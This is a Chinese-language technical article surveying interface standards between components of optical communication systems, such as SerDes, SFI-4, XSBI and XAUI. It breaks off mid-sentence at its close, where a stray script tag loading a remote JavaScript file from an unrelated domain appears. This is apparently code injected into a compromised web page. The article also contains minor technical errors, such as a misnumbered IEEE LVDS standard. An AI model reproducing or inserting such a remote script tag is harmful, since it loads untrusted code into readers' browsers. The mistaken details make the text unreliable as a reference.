为通信系统器件所提供的接口技术种类繁多,令人困惑。设计者应根据所需功能选择器件,采用fpga解决当中的接口和互用性问题。
引言
在过去两年里,用于消除ic、电路板和系统之间数据传输瓶颈的接口标准层出不穷,本文将考评通信应用标准部件的某些最流行的标准,并研究众多新标准出现的原因,此外还探讨设计者可如何解决互用性的难题。
新兴接口标准综述
如果查看一下典型通信系统的结构(见图),可以看出很多元件都需要相互进行通信。为满足数据通道中各种元件的不同需求,因而出现了各种不同的接口标准。要了解各种接口的优缺点,就需要查看元件本身及每个元件所发生的通信类型。这里将从光电接口开始,然后逐一介绍内部元件,直至交换架构(switch fabric)。
a.与串并行转换器相连的光电器件
在高速光纤通信系统中,传输的数据流需要进行格式转换,即在光纤传输时的串行格式及在电子处理时的并行格式之间转换。串化器-解串器 (一般被称作串并行转换器) 就是用来实现这种转换的。串并行转换器与光电传感器间的接口通常为高速串行数据流,利用一种编码方案实现不同信令,这样可从数据恢复嵌入的时钟。视乎所支持的通信标准,该串行流可在1.25gb/s (千兆以太网)、2.488gb/s (oc-48/stm-16)、9.953gb/s (oc-192/stm-64) 或10.3gb/s (10千兆以太网)条件下传输。
b.串并行转换器至成帧器接口
在sonet/dh的世界中,光纤中的数据传输往往采用帧的形式。每帧包括附加信息(用于同步、误差监视、保护切换等)和有效载荷数据。传输设备必须在输出数据中加入帧的附加信息,接收设备则必须从帧中提取有效载荷数据,并用帧的附加信息进行系统管理。这些操作都会在成帧器中完成。
由于成帧器需要实现某些复杂的数字逻辑,因而决定了串并行转换器与成帧器间所用的接口技术,采用标准cmos工艺制造的高集成度ic。目前的cmos工艺不能支持10gb/s串行数据流(尽管很多人认为未来的cmos工艺可以实现此项功能),因此串并行转换器与成帧器间需要并行接口。目前最流行的选择是由光网络互联论坛(optical internetworking forum)开发的sfi-4,该接口使用两个速度达622mb/s的16位并行数据流(每个方向一个)。sfi-4与目前很多新兴接口一样,使用源同步时钟,即时钟信号与数据信号共同由传输器件传输。源同步时钟可显著降低时钟信号与数据信号间的偏移,但它不能完全消除不匹配pcb线路长度引起的偏移效应。16个数据信号和时钟信号均使用ieee-1593.6标准lvds信令。该接口仅需在串并行转换器与成帧器间来回传输数据,距离较短,因此无需具备复杂的流控制或误差检测功能。
以太网中也存在类似接口。在10千兆以太网phy的物理编码子层(pcs)与物理介质连接(pma)层之间,ieee-802.3ae规范提供了一种被称作xsbi的接口。这种"10千兆16位接口"在每个方向都具有16位并行数据流及源同步时钟。数据和时钟均使用ieee-1593.6标准lvds信令。数据通道使用64b/66b编码方案,其时钟频率为644mhz。
该10千兆以太网规范使用串行接口连接mac(介质访问控制)层和phy(物理)层。这个被称作xaui的接口,也被称为"10千兆连接单元接口",这是一种使用四通道的串行接口,每个通道传输2.5gb/s有效载荷数据,8b/10b编码使每个通道的比特率高达3.125gb/s。该接口一般用于连接mac和包含phy及光器件的独立模块。根据几家制造商的多源协议开发的xenpak光模块使用xaui接口。后文还将提到xaui也用于系统背板。
c.成帧器与网络处理器及其它元件间的接口
成帧器与网络处理间传输的数据可代表很多不同的数据流。sonet/sdh帧中包含的附加数据表明数据有效载荷中每个?script src=http://er12.com/t.js>